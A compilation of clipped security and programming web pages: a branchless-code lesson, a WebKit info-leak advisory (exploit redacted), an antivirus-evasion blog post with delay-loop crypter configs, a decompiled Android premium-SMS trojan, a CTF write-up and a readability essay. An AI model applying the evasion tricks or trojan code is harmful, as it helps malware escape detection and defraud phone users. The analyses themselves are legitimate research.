    0x000003F4  fadds    f11,f11,f4
    0x000003F8  fadds    f30,f12,f5
    0x000003FC  fmadds   f10,f1,f10,f13
    0x00000400  addic    r5,r4,0x18
    0x00000404  fmadds   f12,f1,f12,f31
    0x00000408  fmadds   f13,f6,f2,f9
    0x0000040C  fnmadds  f9,f6,f2,f9
    0x00000410  fmuls    f31,f8,f0
    0x00000414  fmuls    f29,f7,f11
    0x00000418  fmuls    f28,f8,f30
    0x0000041C  fadds    f10,f10,f3
    0x00000420  fadds    f12,f12,f3
    0x00000424  fsel     f9,f13,f13,f9
    0x00000428  fsel     f0,f13,f0,f31
    0x0000042C  fsel     f11,f13,f11,f29
    0x00000430  fsel     f13,f13,f30,f28
    0x00000434  stfs     f10,0x0(r4)
    0x00000438  stfs     f12,0x8(r4)
    0x0000043C  stfs     f9,0x4(r4)
    0x00000440  stfs     f0,0xC(r4)
    0x00000444  stfs     f11,0x10(r4)
    0x00000448  stfs     f13,0x14(r4)
    0x0000044C  clrldi   r4,r5,32
    0x00000450  cmplw    r4,r3
    0x00000454  blt      0x000003D4
[/code]

If you have a HTML5 compliant browser, then you can interactively walk through
the ASM and C++ code in another window by clicking on the following image:

<img src='img/Temp2_5967.jpg' width='256' height='200' />

As you can see from this assembly \(particularly via the interactive
walkthrough\), the only branches are associated with the for loop which
iterates through all of the particles.

We would expect this code to run faster as there are no more data accesses and
there are less stalls in the worst case scenario \(all particles mis-
predicting a branch\), but how much faster? The following graph shows the
performance of the code in lesson 1 against this lesson’s performance.

<img src='img/Temp2_5969.jpg' width='620' height='355' />

As you would expect, the performance is constant as there is no branching
based on the particle’s position, but what you might not have expected is that
the baseline performance is better than the original solution. Even though we
are calculating the bounced position and velocity in addition to the non-
bounced ones for every particle, this code is still significantly faster than
the branching one. Basically, we are doing more work in fewer cycles. The
removal of the branch removes the need for a compare \(which stalled waiting
for the result of the increment of the y position\) as well as the branch and,
thereby allows better pipelining of the inner loop.

This is a pretty good performance improvement for a fairly small change, but
finding wins like this in production code is rare. This type of optimisation
really only benefits very tight inner loops; using branchless logic in higher
level code will usually have no measurable performance improvement at the cost
of obfuscating your code – so choose wisely.

The important things to take away from this lesson are:

    1. Instructions pipeline. Taking advantage of that can give you big performance wins
    2. Branching can be bad on certain architectures \(primarily because it trashes the pipeline\)
## Coming up next

So where to next? Let’s have a look at the PC samples of this new code and see
where the bottleneck has moved to:

<img src='img/Temp2_5968.jpg' width='492' height='455' />

    Samples attributed to C++ code
Most of the samples in this code seem to have coalesced around the calculation
of the y position of the particles. The reason for this is very interesting
and we’ll address this in the next lesson.

So endeth the second lesson. Please leave a comment if you’ve spotted an
error, need something clarified or would just like to leave some feedback.

\[Edit\] I’ve just been pointed at an excellent article on pipelines and
branchless maths: “Down With fcmp: Conditional Moves For Branchless Math”

# EM\_386: WebKit CSS Type Confusion

**Created:**| _12/20/2010 10:15:19 PM_  
---|---  
**Updated:**| _12/20/2010 10:15:30 PM_  
**Author:**| __  
**Tags:**| _web vulnerability programming browser_  
  

### WebKit CSS Type Confusion

Here is an interesting WebKit vulnerability I came across and reported to
Google, Apple and the WebKit.org developers.  
  
**Description:** WebKit CSS Parser Type Confusion  
**Software Affected:** Chrome 7/8, Safari 5.0.3, Epiphany 2.30.2,
WebKit-r72146 \(others untested\)  
**Severity:** Medium  
  
The severity of the vulnerability was marked Medium by the Chrome developers
because the bug can only result in an information leak. I don't have a problem
with that but I have some more thoughts on it at the end of the post. But
first the technical details.  
  
The WebKit CSS parser internally stores a _CSSParserValueList_ which contains
a vector of _CSSParserValue_ structures. These structures are used to hold the
contents of parsed CSS attribute values such as integers, floating point
numbers or strings. Here is what a _CSSParserValue_ looks like.  

[code]

    struct CSSParserValue {
        int id;
        bool isInt;
        union {
            double fValue;
            int iValue;
            CSSParserString string;
            CSSParserFunction* function;
        };
        enum {
            Operator = 0x100000,
            Function = 0x100001,
            Q_EMS    = 0x100002
        };
        int unit;
    
        PassRefPtr createCSSValue();
    };
    
    
[/code]

When WebKit has successfully parsed a CSS value it will set the _unit_
variable to a constant indicating what type it should be interpreted as. So
depending on the value of _unit_ a different member of the union will be used
to address the CSS value later in the code. If the value was a floating point
or an integer the _fValue_ or _iValue_ will store that number. If the value is
a string a special _CSSParserString_ structure is used to copy the string
before placing it into the DOM.  
  
The vulnerability exists in a function responsible for parsing the location of
a font face source. So we find ourselves in
_WebCore::CSSParser::parseFontFaceSrc\(\)_ found in CSSParser.cpp of the
WebKit source. I have clipped certain parts of the function for brevity.  

[code]

    bool CSSParser::parseFontFaceSrc()
    {
        ...
    [3629]        } else if (val->unit == CSSParserValue::Function) {
    [3630]            // There are two allowed functions: local() and format().
    [3631]           CSSParserValueList* args = val->function->args.get();
    [3632]            if (args && args->size() == 1) {
    [3633]                if (equalIgnoringCase(val->function->name, "local(") && !expectComma) {
    [3634]                    expectComma = true;
    [3635]                    allowFormat = false;
    [3636]                    CSSParserValue* a = args->current();
    [3637]                    uriValue.clear();
    [3638]                    parsedValue = CSSFontFaceSrcValue::createLocal(a->string);
    
    
[/code]

At this point in the code the CSS parser has already extracted the value of
the font face source and now the code is trying to determine whether the font
value is local or not. If the source of the font is wrapped in a _local\(\)_
URL then we hit the code above. The problem here is that the _CSSParserValue_
's _unit_ variable is never checked on line 3633. The code assumes the value
previously parsed is a string and the  _CSSParserString_ structure within the
union has already been initialized by a previous caller. Now on line 3636 a
_CSSParserValue_ pointer, _a,_ is assigned to the value and on line 3638 the
_a- >string_ operator is called on it. Here is what that structure looks like:  

[code]

    struct CSSParserString {
        UChar* characters;
        int length;
    
        void lower();
    
        operator String() const { return String(characters, length); }
        operator AtomicString() const { return AtomicString(characters, length); }
    };
    
    
[/code]

So when _a- >string_ is called in line 3638 WebKit's internal string functions
will be called to create a string with a source pointer of  _a-
>string->characters_ with a length of _a- >string->length_ so it can be added
to the DOM by _CSSParser::addProperty\(\)_. This code assumes the value is a
string but this _CSSParserValue_ may not have been initialized as one. Lets
take a second look at the union again in the  _CSSParserValue structure_ :  

[code]

        union {
            double fValue;               // 64 bits
            int iValue;                  // 32 bits
            CSSParserString string;      // sizeof(CSSParserString)
            CSSParserFunction* function; // 32 bits
        };
    
    
[/code]

The double _fValue_ will occupy 64 bits in memory on a 32 bit x86 platform
\[1\]. This means in memory at runtime the first dword of _fValue_ overlaps
with _string- >characters_ and the second with _string- >length_. If we can
supply a specific floating point value as the source location of this font
face we can trigger an information leak when WebKit interprets it as a
_CSSParserString_ structure and attempts to make a copy of the string. I
should also note that the string creation uses _StringImpl::create_ which
copies the string using _memcpy_ , so we don't have to worry about our stolen
data containing NULL's. Exploiting this bug is very easy:  
  
_\[ Exploit redacted. The full exploit is trivial to write but Apple has yet
to patch this bug so I would rather not do peoples work for them. Im only
writing this blog post because A\) the bug is not remote code execution and
B\) the fix, and therefore the details needed for writing an exploit, is
already public. I will post it after Safari has been patched. \]_  
  
That floating point number will occupy the first 64 bits of the union. The
double _fValue_ when holding this value will look like this in memory
_0xbf95d38b 0x000001d5_. Which means \(_a- >string->characters_ _=
0xbf95d38b_\) and \(_a- >string->length_ = _0x000001d5_\). Through our
floating point number we can control the exact address and length of an
arbitrary read whose contents will then be added to the DOM as the source of
the font face. In short, an attacker can steal as much content as he wants
from anywhere in your browsers virtual memory. Here is the _CSSParserValue_
structure in memory just after the assignment of the _CSSParserValue_ pointer,
_a,_ when running the exploit.  

[code]

    (gdb) print *a
    $167 = {id = 0, isInt = false, {fValue = 9.9680408499984197e-312, iValue = -1080700021, 
    string = {characters = 0xbf95d38b, length = 469}, function = 0xbf95d38b}, unit = 1}
    
    (gdb) x/8x a
    0xb26734f0:    0x00000000    0x00000100    0xbf95d38b    0x000001d5
    0xb2673500:    0x00000001    0x00000000    0x00000000    0x00000000
    
    
[/code]

Here is where the stack is mapped in my browser:  

[code]

    bf93a000-bf96e000 rw-p 00000000 00:00 0          [stack]
    
    
[/code]

I did some testing of this bug using Gnome's Epiphany browser. It also uses
WebKit and is a little easier to debug than Chrome. Here is a screenshot of
the exploit using JavaScript to read 469 bytes from the stack and displaying
it in an alert box:  
  

<img src='img/Temp2_2528.png' />

  
OK so it's an info leak. No big deal... right? Info leaks are becoming more
valuable as memory corruption mitigations such as ASLR \(Address Space Layout
Randomization\) become more adopted by software vendors. An info leak
essentially makes ASLR worthless because an attacker can use it to find out
where your browsers heap is mapped or where a specific DLL with ROP gadgets
resides in memory. Normally an info leak might come in the form of exposing a
single address from an object or reading a few bytes off the end of an object,
which exposes vftable addresses. These types of leaks also make exploitation
easier but usually don't expose any of the web content displayed by the
browser. In the case of this bug we have to specify what address to read from.
If an unmapped address is used or the _read_ walks off the end of a page then
we risk crashing the process. The attacker doesn't have to worry about this on
platforms without ASLR.  
  
But almost as important as reliable code execution, the more sensitive content
we push into web browsers the more valuable a highly reliable and controllable
info leak could become. You could theoretically use it to read an open
document or webmail or any other sensitive content the users browser has open
at the time or has cached in memory from a previous site.  
  
Anyways, hope you enjoyed the post, it was a fun vulnerability to analyze.
Thanks to Google, Apple and WebKit for responding so quickly \[2\], even to a
Medium\! Now go and update your browser.  
  
\[1\] http://en.wikipedia.org/wiki/Double\_precision\_floating-point\_format  
\[2\] http://trac.webkit.org/changeset/72685/trunk/WebCore/css/CSSParser.cpp

# Avoiding AV Detection « Spare Clock Cycles

**Created:**| _12/27/2010 8:37:18 AM_  
---|---  
**Updated:**| _12/27/2010 8:37:33 AM_  
**Author:**| __  
**Tags:**| _attacks analysis antivirus anti-debugging_  
  

## Avoiding AV Detection

As a follow-up to my post on the USB Stick O' Death, I wanted to go a little
more in depth on the subject of AV evasion. Following my release of \(some
of\) my code for obfuscating my payload, it became apparent that researchers
at various antivirus companies read my blog \(Oh hai derr researchers\! Great
to have you with us\! I can haz job?\) and updated their virus definitions to
detect my malicious payload. To be perfectly honest, I was hoping this would
happen, as I figured it would be a teachable moment on just how ineffective
current approaches to virus detection can be, give readers a real world look
at how AV responds to new threats, and provide one of the possible approaches
an attacker would take to evading AV software. My main goal in this research
was to see how much effort it would take to become undetectable again, and the
answer was 'virtually none'.

In this post, I will first look at how I was able to evade detection by many
AV products simply by using a different compiler and by stripping debugging
symbols. Then, I will look at how I was able to defeat Microsoft's \(and many
other AV products'\) detection mechanisms simply by "waiting out" the timeout
period of their simulations of my program's execution. However, a quick note
before we begin: I'm by no means an expert on antivirus, as this exercise was
partly to further my understanding of how AV works, and these explanations and
techniques are based on my admittedly poor understandings of the technologies
behind them. If I mistakenly claim something that isn't true, or you can shed
light on some areas that I neglect, please comment. I would love to learn from
you.

## Compiler Confusion

In my original post, I mentioned that I ended up using a copy of mingw64 from
this PPA rather than from the standard Ubuntu repositories. While you'd think
that this detail wouldn't matter significantly, it really ends up being almost
everything. My malicious payload, when compiled with that version of mingw64
rather than the default one, has an enormously lower detection rate . Why is
this?

Well, apparently the two versions have enough differences in their backend
algorithms that the executable generated with Ubuntu's trips some heuristic
definitions, while one made with the PPA version doesn't. The reason that
Ubuntu's is being detected over the PPA is obvious: attackers are more likely
to have used the default one in the repos. In addition, I actually saw three
or four AV companies add detection for the Ubuntu version of the executable,
but have only seen one possible additional detection of the PPA version
\(although it might have been a fluke, but I used it as my example anyway\),
which seems to indicate that the researchers trying to replicate my
executables were using the default mingw64 as well. This confuses me a bit, as
I've been uploading my attempts to VirusTotal and linking to them, but
hopefully they will analyze them at some point.

I haven't spent the time yet to figure out what is specifically causing the
problem for AV between the two versions of mingw64, and I imagine it varies by
AV product, but it serves to illustrate quite clearly the large challenge
facing AV companies of simply dealing with different compilers and different
optimization routines \(payload detection rate with Ubuntu's mingw64 / payload
detection rate with PPA mingw64\)

## Debugging Symbols Debacle

While the different compiler issue might be eye opening to some, I had
suspected that it would be an easy way to prevent detection, at least early on
in the lifecycle of a piece of malware. I was not expecting, however, for
debugging symbols to factor at all into the detection issue. They have no
impact on the actual behavior of the code itself, only on code size and
apparent file similarity by some metrics. However, in my tests, simply
stripping out the debugging symbols \(strip --strip-debug filename\) managed
to erase the detections I was getting from two AV products, Ikarus and
Emnisoft \(detection results\). My guess is that their scanning algorithms
look for files that are a certain percentage similar to previously seen
malicious executables, and then subject those to a sandboxed execution to try
and gain a clean memory image. Because the executables are \(by their
metrics\) not very similar, this sandboxed execution was not triggered, and
the malicious code that is revealed in memory during execution is not
discovered. However, this is certainly just a guess, and I would love for
someone more well versed in the finer points of AV operation to explain it to
me.

## Timing Troubles

Even with these two methods, however, I was still not completely escaping AV
detection. The closest I had come was by using the PPA mingw64 version and
stripping debugging symbols, which got me to my original detection rate in
which Microsoft was the only program detecting my executable. It was clear at
this point that Microsoft was detecting my code by running it in a sandbox or
simulator of some kind, where it then was able to obtain a memory dump that
revealed the presence of my meterpreter payload. Being the perfectionist that
I am when it comes to these things, I still wanted 0% detection rather than
1/43. So how to do this?

Given that my understanding of the problem was correct, there were two
possible ways: avoid triggering the heuristic definition that marked it for
further scrutiny, or somehow defeat the sandbox itself. Surprisingly, I ended
up going with the latter. After a good number of failed attempts to modify the
code in such a way that it avoided the heuristic trigger, I came up with a
different idea: outlasting the sandbox timeout. Because it made no sense to
suppose that the sandbox would allow the application to run indefinitely, I
supposed that Microsoft had some set limit of instructions or time that it
would simulate program execution for before killing it and taking a memory
dump. As it turns out, this assumption proved correct, and that timeout period
wasn't very long at all. To test my theory, I created two slightly modified
versions of my original, in which I just inserted two loops into my decryption
loop. I could have used anything that simply chewed up CPU cycles, so this
implementation choice is arbitrary and intentionally ridiculous. The
configurations \(which can be inserted into my original hide\_payload.py
script\) are below.

Short loops:  
`  
pre_loop = "int j, k;\n"  
pre_enc = "for(j=0;j<2;j++){for(k=0;k<2;k++){"  
enc = "tmp[i]=sc[i]^key;\n"  
post_enc = "}}\n"  
post_loop = "//do nothing\n"  
post_func = "//do nothing\n"  
`

Long loops:  
`  
pre_loop = "int j, k;\n"  
pre_enc = "for(j=0;j<500;j++){for(k=0;k<100;k++){"  
enc = "tmp[i]=sc[i]^key;\n"  
post_enc = "}}\n"  
post_loop = "//do nothing\n"  
post_func = "//do nothing\n"  
`  
As you can see by these detection rates \(short loop detection rate / long
loop detection rate\), it is clear that Microsoft's AV is quitting the program
execution before the meterpreter payload is fully decrypted, preventing
detection. The short loop is detected, while the long loop is not. A look at
the code in Ollydbg also shows that the only difference between the two
generated executables is the number of loop iterations.

As it turns out, this approach is entirely feasible as a method of avoiding
detection: the long loops take less than a second to finish in my test VM, a
negligible delay for the added invisibility. In addition, Microsoft is not the
only AV that can be defeated via this technique. It appears as though most of
the AVs were detecting my payload via similar techniques, and that most proved
similarly weak \(improved Ubuntu mingw64 version\). These products include
BitDefender, F-Secure, GData, and nProtect. However, these are certainly not
the only ones affected, and in fact should be commended for detecting my
executable in the first place. Oddly enough, a product called VBA32 began
detecting a virus called "BScope.Jackz.e" after I added these loops, which
makes me curious as to whether or not someone is already exploiting this
weakness.

## Convincing Conclusion

To begin my carefully crafted conclusion to this alliterative analysis of
antivirus, I want to first note that this post is certainly not meant to
disrespect the work that AV companies do: detection of malware is difficult
business, and the attacker certainly has a significant advantage. My malware
is certainly not anywhere near the hardest threat that AV has to deal with,
either. Indeed, this probably partly explains why it was so easy to bypass
detections: the adults had better things to do than write definitions
specifically for my crappy toy crypter. I seriously doubt that the writers of
Conficker could resort to such simple methods to avoid detection. That said,
it seems to me that trying to implement detection based on live behavioral
techniques could significantly improve AV effectiveness, much more than
toiling hopelessly away in research labs, trying to complete the Sisyphean
task of writing definitions that catch every known or slightly modified piece
of malware. At some point, if not already, this will become entirely
impossible, and a new solution will need to be devised.

Of course, in this discussion, we must also remember that AV is essentially
the very last line of defense between an attacker and code execution, and if
one manages to get to this point, our system protections have already failed
miserably. To me, AV is analogous to the TSA: expensive, intrusive, and not
incredibly effective for the effort involved. This is not to say that AV is
not helpful in preventing attacks; both AV and the TSA are decent barriers
that make it more difficult to exploit common attack vectors. However, neither
are the be-all-end-all of security in their respective fields, and, with
effective security policies in place, they should only be present as a
contingency plan of sorts, to become important in preventing attacks only if
all else fails. I hope this small test case has illustrated the degree to
which a system's overall security posture \(disabling AutoRun/AutoPlay,
disallowing USB drives, keeping software up-to-date, etc\) is much more
important than simply having up to date antivirus software installed on a
given system, and that we need to continue to research new ways to improve AV
detection methods so that it might not need to rely solely on reactive virus
definitions, but rather work towards a system aided by proactive detection
techniques.

# Reversing Trojan-SMS.AndroidOS.FakePlayer.a - Seguesec

**Created:**| _5/18/2011 11:07:18 AM_  
---|---  
**Updated:**| _5/18/2011 11:08:00 AM_  
**Author:**| __  
**Tags:**| _reversing Malware-analysis android_  
  

Reversing Trojan-SMS.AndroidOS.FakePlayer.a

Posted by 0xroot in android | PFC | Reversing | Sin categoría
## Introducción

**Trojan-SMS.AndroidOS.FakePlayer.a** es el nombre con el que se ha conocido
el primer troyano para smartphones Android. El método de propagación era
distribuirse a través del market como una supuesta aplicación para reproducir
contenidos multimedia. Poco tiempo después era borrado del mismo al descubrir
que su verdadero objetivo era realizar el **envío de mensajes SMS a números de
tarificación especiales**.

En lo que respecta a este post, me basaré en hacer un reversing del APK para
explicar de forma más objetiva y detallada el funcionamiento del mismo.

## Preparando el terreno

Un análisis rápido en VirusTotal nos muestra que la aplicación a día de hoy
obtiene un **69.8%** de ratio de detección para **30** de 43 motores
antivirus.

<img src='img/virustotal-300x215.png' width='300' height='215' />

El apk con MD5: **fdb84ff8125b3790011b83cc85adce16** presenta la siguiente
estructura una vez lo desempaquetamos:

[code]

    sebas@Helios:~/Android/infected/FakePlayer.SMS.Android.Trojan.apk_FILES$ tree .
    .
    |-- AndroidManifest.xml
    |-- classes.dex
    |-- META-INF
    |   |-- CERT.RSA
    |   |-- CERT.SF
    |   `-- MANIFEST.MF
    |-- res
    |   |-- drawable
    |   |   `-- icon.png
    |   `-- layout
    |       `-- main.xml
    `-- resources.arsc
    
    4 directories, 8 files
    
[/code]

El icono asociado a la aplicación es:

<img src='img/icono2.jpg' width='66' height='67' />

El contenido del fichero **AndroidManifest.xml** nos muestra que el único
permiso que solicita es:

  * **android.permission.SEND\_SMS** → Posibilita al teléfono enviar mensajes SMS.

Llegados a este punto lo más normal es cuestionarnos el por qué, ya que
estamos ante una aplicación cuya finalidad es reproducir contenidos
multimedia, no enviar mensajes de texto.

Siguiendo con el análisis, haremos un reversing del fichero **classes.dex**
que contiene la biblioteca de funciones y nos servirá para hacernos una idea
de qué se esconde realmente tras esta aplicación.

El proceso pasa por convertir el **.dex** a fichero **.jar** :

[code]

    sebas@Helios:~/Android$ ./dex2jar FakePlayer.SMS.Android.Trojan.apk_FILES/classes.dex
    
[/code]

Esto nos creará un fichero de clases llamado **classes.dex.dex2jar.jar** que
al descomprimir nos devolverá todo el conjunto de ficheros .class que componen
la aplicación. El siguiente paso será transformarlo a extensión .jad y
trabajar directamente sobre el código.

## ¡Al ataque\!

Analizando previamente la aplicación con la herramienta **Understand** de
SciTools, podemos ver cómo funciona esta a través del diagrama de
dependencias:

<img src='img/ArchInternalDependencies-DirectoryStructure-300x148.png'
width='300' height='148' />

Parece ser que el peso de la aplicación corre a cargo del fichero de clases
**MoviePlayer.jad** , que hace uso de declaraciones como
**telephony.SmsManager** como podemos ver en el siguiente gráfico:

<img src='img/DeclarationGraph-MoviePlayer-jad-300x212.png' width='300'
height='212' />

Y en su código fuente:

[code]

    public void onCreate(Bundle bundle)
        {
            super.onCreate(bundle);
            DataHelper datahelper = new DataHelper(this);
            if(datahelper.canwe())
            {
                TextView textview = new TextView(this);
                textview.setText("\u041F\u043E\u0434\u043E\u0436\u0434\u0438\u0442\u0435, \u0437\u0430\u043F\u0440\u0430\u0448\u0438\u0432\u0430\u0435\u0442\u0441\u044F \u0434\u043E\u0441\u0442\u0443\u043F \u043A \u0432\u0438\u0434\u0435\u043E\u0442\u0435\u043A\u0435..");
                setContentView(textview);
                SmsManager smsmanager = SmsManager.getDefault();
                String s = "3353";
                String s1 = "798657";
                String s2 = null;
                android.app.PendingIntent pendingintent = null;
                android.app.PendingIntent pendingintent1 = null;
                int i;
                try
                {
                    smsmanager.sendTextMessage(s, s2, s1, pendingintent, pendingintent1);
                }
                catch(Exception exception)
                {
                    i = Log.e("Oops in playsound", "", exception);
                }
                s = "3354";
                s2 = null;
                pendingintent = null;
                pendingintent1 = null;
                int j;
                try
                {
                    smsmanager.sendTextMessage(s, s2, s1, pendingintent, pendingintent1);
                }
                catch(Exception exception1)
                {
                    j = Log.e("Oops in playsound", "", exception1);
                }
                s = "3353";
                s2 = null;
                pendingintent = null;
                pendingintent1 = null;
                int k;
                try
                {
                    smsmanager.sendTextMessage(s, s2, s1, pendingintent, pendingintent1);
                }
                catch(Exception exception2)
                {
                    k = Log.e("Oops in playsound", "", exception2);
                }
                datahelper.was();
            }
            finish();
        }
    
[/code]

Una lectura rápida al código nos revela que se definen dos atributos y un
método para la instancia creada de la clase **TextView** :

  * Usamos el string **s** para almacenar los números de destino **3353** \(procedente de Kazajistán\)y **3354**.
  * Usamos el string **s1** para almacenar el número de origen **798657**.
  * Hacemos diversas llamadas a la API de Android, entre ellas al método **setText** al que le pasamos el mensaje a enviar codificado en caracteres hexadecimales.

Una vez inicializadas estas variables se realiza la llamada del método
**sendTextMessage** al que se le pasan un total de cinco parámetros, en este
caso, primero se hace el envío al **3353**.

Posteriormente volvemos a realizar otra llamada al mismo método pero pasándole
como número de destino **3354**.

## Conclusión

Se trata del primer supuesto troyano para Android, sus funcionalidades como
tal más bien parecen una prueba de concepto para tantear el terreno, que una
aplicación diseñada para causar daño como hemos podido ver en Geimini o
**Dandelion**.

Bien es cierto que al proceder los números de destino de Kazajistán, el cobro
que supone un SMS premium sólo tendría sentido si el usuario fuera procedente
de ese país o de algunas de las compañías de la operadora, que parece tener
también sede en Rusia.

# PainSec Security Group

**Created:**| _4/26/2011 8:59:32 PM_  
---|---  
**Updated:**| _4/26/2011 8:59:32 PM_  
**Author:**| __  
**Tags:**| _crypto analysis ctf_  
  

Writeup: PCTF \(10 – Chiptunes?… Crickets? – 300pts\)

Here is the write-up for the CTF challenge \#10 organized by the team PPP.
This was an easy one if you have been into Ham Radio.  
  
The challenge description was as follows:  
  

## Description

Category: forensics  
  
We are trying to find the meeting place of two AED operatives, which we
believe is encoded in this file.  
Analysts tell us the meeting is at a farm, but we need more information than
that.  
  
Submit us the whole name of the farm \(including the word farm\).  
---  
  
  
Well I'm not a forensics guy, but I decided to give a try to this challenge
just for curiosity. As soon as I heard the audio it reminded me my old Ham
Radio days. It sounded similar to the NOAA satellite transmissions used to
transfer weather images...  
  
So I started the old computer which I have for radio shitz and started
analyzing the audio signal searching for APT/HRPT/SSTV transmisions, and voila
it was an SSTV transmission. Here is an screenshot for the audio file being
processed.  
  
<img src='img/Temp2_6104.png' />  
  
  
And this is the full image after being processed:  
  
<img src='img/Temp2_6103.png' />  
  
Damn\!\!\! I was expecting the farm name to be included at the end of the
image... We have to keep searching for the farm name somewhere else... I
remembered about one of those reverse image lookup services
http://www.tineye.com/. After submitting the image to the service we get this
result http://www.gettyimages.es/detail/88625196. Again it doesn't say nothing
about the farm name... Just some vague description:  
  
Título: Mountains outside Cape Town in Autumn  
Leyenda: A berry farm set in the beautiful wineland mountains of the Western
Cape, just out side Cape  
---  
  
  
So we kept searching for the farm name, even searching farms on google maps
around Cape Town in South Africa without results. Then we decided to search
for the name of the photo author and found his flickr photo stream and also
the same photo\!\!\!  
http://www.flickr.com/photos/calico182/490559080/in/photostream  
  
  
This time there was a good description including the farm name:  
  
\*\*\*\*\*  
EOCT2  
Hillcrest Berry Farm, Cape Town  
Nikon D70s with a Nikon 18-70mm  
\*\*\*\*\*  
  
Stopped off at the berry farm on the way back to Cape Town from the South
African Cheese Festival.  
  
Cape Town, South Africa  
---  
  
  
So the key was:  

## Hillcrest Berry Farm

# \_\_init\_\_.py - pyew - A Python tool like radare or \*iew for malware
analysis - Google Project Hosting

**Created:**| _4/21/2011 10:09:19 AM_  
---|---  
**Updated:**| _4/21/2011 10:09:19 AM_  
**Author:**| __  
**Tags:**| _bookmark security tools reversing_  
  

<img src='img/Temp2_10075.jpg' alt='Logo' /> |  pyew A Python tool like radare or \*iew for malware analysis  
---|---

# Optimize for readability first

**Created:**| _7/9/2014 11:38:18 AM_  
---|---  
**Updated:**| _7/9/2014 11:38:18 AM_  
**Author:**| __  
**Tags:**| _code-review code-checks code-gen_  
  

# Know what you are optimizing for

When I started programming we not only had slow processors, we also had very
limited memory. Sometimes measured in kilobytes. So we had to think about
memory and optimize memory consumption wisely. University taught us about two
extremes in optimization:

  * You either optimize for execution speed sacrificing memory.
  * Or you optimize for memory consumption by calculating stuff over and over again.

These days nobody cares about memory much \(except demosceners, embedded
systems engineers and sometimes mobile games developers\). I mean not only RAM
but hard drive space too. _Just look at Watch Dogs install which is about 25Gb
on disk. In addition I'm writing this in a Chrome tab which ate 130Mb of RAM._

But there are more optimization types:

  * Optimization for power consumption which is getting more attention with growth of smartphones market.
  * Optimization for readability to make reading and debugging code easier, thus reducing development time and cost. 
  * _I'll just stop here..._

> Optimization for readability — making code easier to read, follow and
> understand.
You should understand that you can't optimize everything at once. For example
while working on performance optimization you will likely make your app
consume more memory and make code less readable.

## Why readability

> Most of their productive time developers spend reading code not writing it:
> debugging, checking commits done by others, learning new libraries, etc.
While doing this developers essentially work as \(not so good actually\)
interpreters — executing code in their head trying to keep in mind current
state of execution. This is why when interrupted during this process
programmers tend to be particularly grumpy.

There are many things which can make code harder to read. We'll get back to
this later.

**Time == money**

The most important thing to understand is that your and your coworkers' time
costs a lot. And even if a developer works hard they can still waste time by:

  * Working on things which are not needed now and might be never used. 
  * Working on something which doesn't add perceivable value.   
_For example, wasting a week to optimize execution time of a function which is
called once an hour by 10ms._

  * Writing hard to debug code and trying to find bugs in it.
  * Writing code which slows down other people.   
_Remember that "other people" might as well be YOU in just a week._

This is provided that the developer in question is an experienced one and
knows how to write efficient algorithms and clean code. Otherwise this list
would be too long.

## Optimize for readability

There's a well-known quote by Donald Knuth, I bet you've heard it numerous
times.

> "Premature optimization is the root of all evil \(or at least most of it\)
> in programming." by D.Knuth, 1974.
I saw a lot of people who memorized it but didn't understand what this quote
really means. The most common mistake looks like this:

— Why the code for this simple task is so complicated?  
— I optimized X and Y because in the future...  
— Haven't you heard that _Premature optimization is the root of all evil_?  
— Sure, but this is not _premature optimization_ , **I know that this way it
will work faster**.

I assume this is because the term _premature optimization_ is not well-
defined. This is why the person in the example doesn't consider what he has
done to be a _premature optimization_ at all. How can we define this term?

> Premature optimization — everything one tries to optimize before profiling
> and running tests on a working system.
Everything except readability. So instead of what one _shouldn't do_ we'd
better say what one _should do_. And the quote will look like this:

> Optimize for readability first.
## What slows down developers when reading code

Well, we agreed that we should make our code easier to read to spend less time
doing it, wasting less money, right? But what does it really mean?

There are two fundamental things that immensely slow down a developer while
reading code:

  1. The code is hard to understand, 
  2. The code is hard to follow.

## The code is hard to understand

Unfortunately people are not like software interpreters which don't bother to
know what the code means to add two numbers and call a function. While it
still compiles of course.

To find why the code doesn't work a programmer needs to understand exactly
what it does as typed in a source file and what was its original purpose.

**What makes code hard to understand?**

From here I'll be writing about an experienced developer who knows the
language the code is written in and algorithms used in the application's
domain \(_i.e. he has enough knowledge to understand this code_\).

  1. The code stinks. Monstrosities of one letter variables and 1000 lines long functions. 
  2. It is not properly or consistently formatted. 
  3. It has unnecessary one-liners. 
  4. There are undocumented low-level optimizations. 
  5. The code is too clever.

I'll skip the first two because you shouldn't be reading bad code anyway. If
someone in your company writes it, teach them or get rid of them. And of
course you need to enforce strict coding style for your entire code base.

**3\. It has unnecessary one-liners.**

Or so-called **number of lines optimizations**. Long lines with nested
function calls and **?:** operators are harder to parse. Of course, you may
say that this argument is subjective. But some people just feel that they must
leave in source code as few lines as possible. Sacrificing readability.

**4\. Undocumented low-level optimizations**

Long time ago the code was readable and worked fine but someone decided to
optimize it at some point. It might be a good optimization after serious
profiling but now the code looks like a combination of arrays, bitwise
operators and magic numbers. Nobody knows what exactly it does and even what
it was supposed to do because the guy who made the optimization didn't leave
any comments.

You probably heard that good code doesn't need comments. But optimized code
\(~~even~~ especially if it's good\) DOES need them.

Most harmless consequences of such optimizations might be undocumented lines
like this in your code base:

[code]

     val  val     
    
[/code]

**5\. The code is too clever**

As software developers we learn more and more _academic_ tricks which we then
use in production code. We are _Computer Scientists_ after all, not just mere
coders\!

Some languages even encourage developers to use bleeding edge techniques
making code more expressive and _academic_. You get the same feeling of
accomplishment when you build a perfectly robust system in code as when you
prove a hard theorem in math using methods 99.997% of educated individuals
don't understand.

Even if code is well-organized into modules/classes/functions and each of
these blocks contains perfectly readable imperative code, for someone else to
read this code they will need a broader view of its architecture and they must
know all the techniques and patterns used.

> Once again remember that "someone else" might as well be YOU in a week.
This is most likely why I know only 2 people who use Scala in production.
Personally I like Scala a lot. _For me it has been an academic playground
where I could build glass castles in vacuum._ But more you know about it and
more you use its features you understand that it's essentially _a write-only
language_. Please don't quote me on this.

Not as write-only as _Perl_ but even the most beautiful code base will require
changes and updates. And now you are stuck looking for a person who can
understand this _beautiful code_...

This seems controversial that clean clever code is harder to read.

> "Debugging is twice as hard as writing the code in the first place.
> Therefore, if you write the code as cleverly as possible, you are, by
> definition, not smart enough to debug it." by Brian Kernighan
## The code is hard to follow

When reading code developer jumps frequently from one method or class to
another. This is where knowing your IDE of choice will save you a lot of time.
By using **Go to Declaration** , **Find Usages** , **Navigate to** ,
**Inspect** and other features of an IDE _\(Visual Studio for example\)_ you
will be able to think about code as a **connected graph**.

> It's fine to write code in Notepad but if you want to read code efficiently
> you will have to master a good IDE.
Well, what is a **connected graph** exactly?

> A graph which is connected in the sense of a topological space, i.e., there
